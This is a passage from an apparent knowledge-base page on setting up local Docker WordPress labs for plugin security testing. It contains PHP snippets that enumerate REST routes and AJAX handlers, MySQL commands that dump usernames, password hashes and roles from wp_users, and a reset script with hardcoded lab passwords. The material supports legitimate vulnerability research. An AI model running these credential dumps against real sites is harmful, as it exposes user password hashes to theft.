routes\n",[36,31397,31398,31400],{"class":38,"line":279},[36,31399,28727],{"class":605},[36,31401,28746],{"class":53},[36,31403,31404],{"class":38,"line":285},[36,31405,31406],{"class":53},"$server = rest_get_server();\n",[36,31408,31409],{"class":38,"line":291},[36,31410,31411],{"class":53},"foreach ($server->get_routes() as $route => $handlers) {\n",[36,31413,31414],{"class":38,"line":297},[36,31415,31416],{"class":53},"    if (strpos($route, \"\u002Fwp\u002Fv2\") === false) {\n",[36,31418,31419],{"class":38,"line":303},[36,31420,31421],{"class":53},"        echo \"$route\\n\";\n",[36,31423,31424],{"class":38,"line":308},[36,31425,1622],{"class":53},[36,31427,31428],{"class":38,"line":314},[36,31429,323],{"class":53},[36,31431,31432],{"class":38,"line":320},[36,31433,28746],{"class":53},[36,31435,31436],{"class":38,"line":326},[36,31437,61],{"emptyLinePlaceholder":60},[36,31439,31440],{"class":38,"line":331},[36,31441,31442],{"class":42},"# Check registered AJAX actions\n",[36,31444,31445,31447],{"class":38,"line":337},[36,31446,28727],{"class":605},[36,31448,28746],{"class":53},[36,31450,31451],{"class":38,"line":343},[36,31452,31330],{"class":53},[36,31454,31455],{"class":38,"line":349},[36,31456,31335],{"class":53},[36,31458,31459],{"class":38,"line":355},[36,31460,31461],{"class":53},"    if (strpos($hook, \"wp_ajax_\") === 0) {\n",[36,31463,31464],{"class":38,"line":6676},[36,31465,31466],{"class":53},"        $handlers = [];\n",[36,31468,31469],{"class":38,"line":6686},[36,31470,31471],{"class":53},"        foreach ($callbacks as $priority => $fns) {\n",[36,31473,31474],{"class":38,"line":6691},[36,31475,31476],{"class":53},"            foreach ($fns as $fn) {\n",[36,31478,31479],{"class":38,"line":6697},[36,31480,31481],{"class":53},"                $cb = $fn[\"function\"];\n",[36,31483,31484],{"class":38,"line":6721},[36,31485,31486],{"class":53},"                $handlers[] = is_array($cb) ? get_class($cb[0]).\"::\".$cb[1] : (string)$cb;\n",[36,31488,31489],{"class":38,"line":19762},[36,31490,31370],{"class":53},[36,31492,31493],{"class":38,"line":19774},[36,31494,14122],{"class":53},[36,31496,31497],{"class":38,"line":23084},[36,31498,31499],{"class":53},"        echo \"$hook -> \" . implode(\", \", $handlers) . \"\\n\";\n",[36,31501,31502],{"class":38,"line":23120},[36,31503,1622],{"class":53},[36,31505,31506],{"class":38,"line":23151},[36,31507,323],{"class":53},[36,31509,31510],{"class":38,"line":23163},[36,31511,28746],{"class":53},[684,31513,31515],{"id":31514},"database-direct-access","Database Direct Access",[26,31517,31519],{"className":28,"code":31518,"language":30,"meta":31,"style":31},"# Connect to MySQL directly\ndocker compose exec db mysql -u wpuser -pwppassword wordpress\n\n# Run queries via docker\ndocker compose exec db mysql -u wpuser -pwppassword wordpress \\\n  -e \"SELECT user_login, user_pass, user_email FROM wp_users;\"\n\n# Check all tables\ndocker compose exec db mysql -u wpuser -pwppassword wordpress \\\n  -e \"SHOW TABLES;\"\n\n# Export just user data\n$WP db query \"SELECT user_login, user_pass, meta_value as caps \\\n  FROM wp_users u \\\n  JOIN wp_usermeta m ON u.ID = m.user_id \\\n  WHERE m.meta_key = 'wp_capabilities';\" \\\n  --format=table\n",[33,31520,31521,31526,31550,31554,31559,31581,31589,31593,31598,31620,31627,31631,31636,31645,31652,31659,31666],{"__ignoreMap":31},[36,31522,31523],{"class":38,"line":39},[36,31524,31525],{"class":42},"# Connect to MySQL directly\n",[36,31527,31528,31530,31532,31534,31536,31539,31541,31544,31547],{"class":38,"line":46},[36,31529,27091],{"class":49},[36,31531,27094],{"class":53},[36,31533,27118],{"class":53},[36,31535,29004],{"class":53},[36,31537,31538],{"class":53}," mysql",[36,31540,467],{"class":95},[36,31542,31543],{"class":53}," wpuser",[36,31545,31546],{"class":95}," -pwppassword",[36,31548,31549],{"class":53}," wordpress\n",[36,31551,31552],{"class":38,"line":57},[36,31553,61],{"emptyLinePlaceholder":60},[36,31555,31556],{"class":38,"line":64},[36,31557,31558],{"class":42},"# Run queries via docker\n",[36,31560,31561,31563,31565,31567,31569,31571,31573,31575,31577,31579],{"class":38,"line":70},[36,31562,27091],{"class":49},[36,31564,27094],{"class":53},[36,31566,27118],{"class":53},[36,31568,29004],{"class":53},[36,31570,31538],{"class":53},[36,31572,467],{"class":95},[36,31574,31543],{"class":53},[36,31576,31546],{"class":95},[36,31578,27121],{"class":53},[36,31580,155],{"class":95},[36,31582,31583,31586],{"class":38,"line":78},[36,31584,31585],{"class":95},"  -e",[36,31587,31588],{"class":53}," \"SELECT user_login, user_pass, user_email FROM wp_users;\"\n",[36,31590,31591],{"class":38,"line":83},[36,31592,61],{"emptyLinePlaceholder":60},[36,31594,31595],{"class":38,"line":89},[36,31596,31597],{"class":42},"# Check all tables\n",[36,31599,31600,31602,31604,31606,31608,31610,31612,31614,31616,31618],{"class":38,"line":115},[36,31601,27091],{"class":49},[36,31603,27094],{"class":53},[36,31605,27118],{"class":53},[36,31607,29004],{"class":53},[36,31609,31538],{"class":53},[36,31611,467],{"class":95},[36,31613,31543],{"class":53},[36,31615,31546],{"class":95},[36,31617,27121],{"class":53},[36,31619,155],{"class":95},[36,31621,31622,31624],{"class":38,"line":133},[36,31623,31585],{"class":95},[36,31625,31626],{"class":53}," \"SHOW TABLES;\"\n",[36,31628,31629],{"class":38,"line":138},[36,31630,61],{"emptyLinePlaceholder":60},[36,31632,31633],{"class":38,"line":144},[36,31634,31635],{"class":42},"# Export just user data\n",[36,31637,31638,31640,31643],{"class":38,"line":158},[36,31639,28537],{"class":605},[36,31641,31642],{"class":53},"\"SELECT user_login, user_pass, meta_value as caps ",[36,31644,27486],{"class":95},[36,31646,31647,31650],{"class":38,"line":255},[36,31648,31649],{"class":53},"  FROM wp_users u ",[36,31651,27486],{"class":95},[36,31653,31654,31657],{"class":38,"line":261},[36,31655,31656],{"class":53},"  JOIN wp_usermeta m ON u.ID = m.user_id ",[36,31658,27486],{"class":95},[36,31660,31661,31664],{"class":38,"line":267},[36,31662,31663],{"class":53},"  WHERE m.meta_key = 'wp_capabilities';\"",[36,31665,155],{"class":95},[36,31667,31668,31671,31673],{"class":38,"line":273},[36,31669,31670],{"class":605},"  --format",[36,31672,1220],{"class":102},[36,31674,28230],{"class":53},[18,31676,31678],{"id":31677},"environment-reset-script","Environment Reset Script",[14,31680,31681],{},"Quickly reset to a clean state between tests:",[26,31683,31685],{"className":28,"code":31684,"language":30,"meta":31,"style":31},"#!\u002Fbin\u002Fbash\n# reset-test-env.sh\necho \"Resetting WordPress test environment...\"\n\ndocker compose down -v\ndocker compose up -d\n\necho \"Waiting for database...\"\nuntil docker compose exec db mariadb-admin ping -h localhost -u root -prootpassword -s; do\n    sleep 2\ndone\n\necho \"Waiting for WordPress...\"\nuntil curl -s http:\u002F\u002Flocalhost:8080\u002F -o \u002Fdev\u002Fnull -w \"%{http_code}\" | grep -q \"200\\|302\"; do\n    sleep 2\ndone\n\necho \"Running setup...\"\nbash setup-wp-test-env.sh\n\necho \"Installing target plugin...\"\ndocker compose exec --user=www-data wordpress wp plugin install \\\n  \u002Ftmp\u002Ftarget-plugin.zip --activate --allow-root\n\necho \"Environment ready at http:\u002F\u002Flocalhost:8080\"\necho \"Admin: admin \u002F Admin_Password_123!\"\necho \"phpMyAdmin: http:\u002F\u002Flocalhost:8081\"\n",[33,31686,31687,31691,31696,31703,31707,31719,31729,31733,31740,31780,31788,31792,31796,31803,31836,31842,31846,31850,31857,31864,31868,31875,31895,31905,31909,31916,31923],{"__ignoreMap":31},[36,31688,31689],{"class":38,"line":39},[36,31690,4257],{"class":42},[36,31692,31693],{"class":38,"line":46},[36,31694,31695],{"class":42},"# reset-test-env.sh\n",[36,31697,31698,31700],{"class":38,"line":57},[36,31699,1226],{"class":95},[36,31701,31702],{"class":53}," \"Resetting WordPress test environment...\"\n",[36,31704,31705],{"class":38,"line":64},[36,31706,61],{"emptyLinePlaceholder":60},[36,31708,31709,31711,31713,31716],{"class":38,"line":70},[36,31710,27091],{"class":49},[36,31712,27094],{"class":53},[36,31714,31715],{"class":53}," down",[36,31717,31718],{"class":95}," -v\n",[36,31720,31721,31723,31725,31727],{"class":38,"line":78},[36,31722,27091],{"class":49},[36,31724,27094],{"class":53},[36,31726,27097],{"class":53},[36,31728,27100],{"class":95},[36,31730,31731],{"class":38,"line":83},[36,31732,61],{"emptyLinePlaceholder":60},[36,31734,31735,31737],{"class":38,"line":89},[36,31736,1226],{"class":95},[36,31738,31739],{"class":53}," \"Waiting for database...\"\n",[36,31741,31742,31745,31748,31750,31752,31754,31757,31760,31763,31766,31768,31771,31774,31776,31778],{"class":38,"line":115},[36,31743,31744],{"class":102},"until",[36,31746,31747],{"class":49}," docker",[36,31749,27094],{"class":53},[36,31751,27118],{"class":53},[36,31753,29004],{"class":53},[36,31755,31756],{"class":53}," mariadb-admin",[36,31758,31759],{"class":53}," ping",[36,31761,31762],{"class":95}," -h",[36,31764,31765],{"class":53}," localhost",[36,31767,467],{"class":95},[36,31769,31770],{"class":53}," root",[36,31772,31773],{"class":95}," -prootpassword",[36,31775,96],{"class":95},[36,31777,606],{"class":605},[36,31779,609],{"class":102},[36,31781,31782,31785],{"class":38,"line":133},[36,31783,31784],{"class":49},"    sleep",[36,31786,31787],{"class":95}," 2\n",[36,31789,31790],{"class":38,"line":138},[36,31791,678],{"class":102},[36,31793,31794],{"class":38,"line":144},[36,31795,61],{"emptyLinePlaceholder":60},[36,31797,31798,31800],{"class":38,"line":158},[36,31799,1226],{"class":95},[36,31801,31802],{"class":53}," \"Waiting for WordPress...\"\n",[36,31804,31805,31807,31810,31812,31815,31817,31819,31821,31823,31825,31827,31829,31832,31834],{"class":38,"line":255},[36,31806,31744],{"class":102},[36,31808,31809],{"class":49}," curl",[36,31811,96],{"class":95},[36,31813,31814],{"class":53}," http:\u002F\u002Flocalhost:8080\u002F",[36,31816,2107],{"class":95},[36,31818,2110],{"class":53},[36,31820,2113],{"class":95},[36,31822,2116],{"class":53},[36,31824,103],{"class":102},[36,31826,617],{"class":49},[36,31828,620],{"class":95},[36,31830,31831],{"class":53}," \"200\\|302\"",[36,31833,606],{"class":605},[36,31835,609],{"class":102},[36,31837,31838,31840],{"class":38,"line":261},[36,31839,31784],{"class":49},[36,31841,31787],{"class":95},[36,31843,31844],{"class":38,"line":267},[36,31845,678],{"class":102},[36,31847,31848],{"class":38,"line":273},[36,31849,61],{"emptyLinePlaceholder":60},[36,31851,31852,31854],{"class":38,"line":279},[36,31853,1226],{"class":95},[36,31855,31856],{"class":53}," \"Running setup...\"\n",[36,31858,31859,31861],{"class":38,"line":285},[36,31860,30],{"class":49},[36,31862,31863],{"class":53}," setup-wp-test-env.sh\n",[36,31865,31866],{"class":38,"line":291},[36,31867,61],{"emptyLinePlaceholder":60},[36,31869,31870,31872],{"class":38,"line":297},[36,31871,1226],{"class":95},[36,31873,31874],{"class":53}," \"Installing target plugin...\"\n",[36,31876,31877,31879,31881,31883,31885,31887,31889,31891,31893],{"class":38,"line":303},[36,31878,27091],{"class":49},[36,31880,27094],{"class":53},[36,31882,27118],{"class":53},[36,31884,27952],{"class":95},[36,31886,27121],{"class":53},[36,31888,27124],{"class":53},[36,31890,27959],{"class":53},[36,31892,27962],{"class":53},[36,31894,155],{"class":95},[36,31896,31897,31900,31903],{"class":38,"line":308},[36,31898,31899],{"class":53},"  \u002Ftmp\u002Ftarget-plugin.zip",[36,31901,31902],{"class":95}," --activate",[36,31904,28133],{"class":95},[36,31906,31907],{"class":38,"line":314},[36,31908,61],{"emptyLinePlaceholder":60},[36,31910,31911,31913],{"class":38,"line":320},[36,31912,1226],{"class":95},[36,31914,31915],{"class":53}," \"Environment ready at http:\u002F\u002Flocalhost:8080\"\n",[36,31917,31918,31920],{"class":38,"line":326},[36,31919,1226],{"class":95},[36,31921,31922],{"class":53}," \"Admin: admin \u002F Admin_Password_123!\"\n",[36,31924,31925,31927],{"class":38,"line":331},[36,31926,1226],{"class":95},[36,31928,31929],{"class":53}," \"phpMyAdmin: http:\u002F\u002Flocalhost:8081\"\n",[2645,31931,31932],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}",{"title":31,"searchDepth":46,"depth":46,"links":31934},[31935,31939,31944,31950,31954,31958,31962,31967],{"id":26550,"depth":46,"text":26551,"children":31936},[31937,31938],{"id":26554,"depth":57,"text":26555},{"id":27181,"depth":57,"text":27182},{"id":27406,"depth":46,"text":27407,"children":31940},[31941,31942,31943],{"id":27413,"depth":57,"text":27414},{"id":27846,"depth":57,"text":27847},{"id":28055,"depth":57,"text":28056},{"id":28183,"depth":46,"text":28184,"children":31945},[31946,31947,31948,31949],{"id":28187,"depth":57,"text":28188},{"id":28377,"depth":57,"text":28378},{"id":28487,"depth":57,"text":28488},{"id":28684,"depth":57,"text":28685},{"id":28795,"depth":46,"text":28796,"children":31951},[31952,31953],{"id":28799,"depth":57,"text":28800},{"id":28926,"depth":57,"text":28927},{"id":29036,"depth":46,"text":29037,"children":31955},[31956,31957],{"id":29040,"depth":57,"text":29041},{"id":29222,"depth":57,"text":29223},{"id":29612,"depth":46,"text":29613,"children":31959},[31960,31961],{"id":29619,"depth":57,"text":29620},{"id":29651,"depth":57,"text":29652},{"id":31145,"depth":46,"text":31146,"children":31963},[31964,31965,31966],{"id":31149,"depth":57,"text":31150},{"id":31308,"depth":57,"text":31309},{"id":31514,"depth":57,"text":31515},{"id":31677,"depth":46,"text":31678},"tools-and-methods","Docker-based WordPress setup, WP-CLI for automated configuration, installing specific plugin versions, debugging configuration, and test automation",{},"\u002Fknowledge-base\u002Fwordpress-security-testing-environments",{"title":26539,"description":31969},"knowledge-base\u002Fwordpress-security-testing-environments","svdMixCI_IhumPadLWboTpaKUTbL6q8y3YwES5dYBkA"]